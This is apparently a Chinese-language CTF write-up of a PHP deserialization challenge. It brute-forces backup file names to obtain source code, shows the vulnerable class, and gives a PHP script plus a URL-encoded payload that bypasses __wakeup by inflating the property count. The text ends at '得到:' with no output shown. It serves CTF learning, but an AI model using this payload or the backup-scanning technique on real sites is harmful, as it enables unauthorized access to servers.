PHP(php反序列化)
已进入题目就告诉我有备份,所以直接爆破备份文件
爆破的时候就直接在网站后跟xx.xx,两个地方爆破,记得在中间加.
常见的文件名有
web,website,backup,back,www,wwwroot,temp
常见的后缀名有tar,tar.gz,zip,rar
爆破后根据回显的长度判断是www.zip
下载备份的网站源码
查看index.php中有这么一行,所以是get传入select值,然后反序列化
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
然后class.php中如下,只要满足username是admin,password是100就可以输出flag
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
可以自己构造满足条件的Name对象,但是有一个__wakeup函数,会在反序列化前自动调用,会修改username的属性值,要绕过wakeup,可以修改属性个数。所以exp如下
<?php
class Name{
private $username;
private $password;
public function __construct(){
$this->username = 'admin';
$this->password = 100;
}
}
$evil = new Name;
echo(serialize($evil));
?>
因为是private属性,会是%00类%00属性的形式,而%00是无法显示的字符,可以提前urlencode
echo(urlencode(serialize($evil)));
最后如下:
配合上修改属性个数,payload如下:
select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
得到: